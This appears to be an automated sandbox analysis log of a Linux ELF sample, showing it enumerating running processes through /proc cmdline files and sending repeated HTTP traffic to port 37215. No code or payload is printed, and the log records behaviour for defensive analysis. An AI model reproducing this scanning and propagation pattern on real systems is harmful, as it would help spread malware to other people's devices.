Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1879/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1891/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3153/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1921/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/783/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1765/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/2974/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1400/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1884/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3424/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3708/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/2972/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3709/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3147/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/2970/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1881/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3146/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3300/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5445/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5447/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1805/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3787/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1925/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1804/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1648/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1922/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3429/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3442/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3165/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3164/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3163/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3162/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/790/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3161/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/792/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/672/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1930/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/795/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3315/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1411/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/2984/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1410/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/797/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56414 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
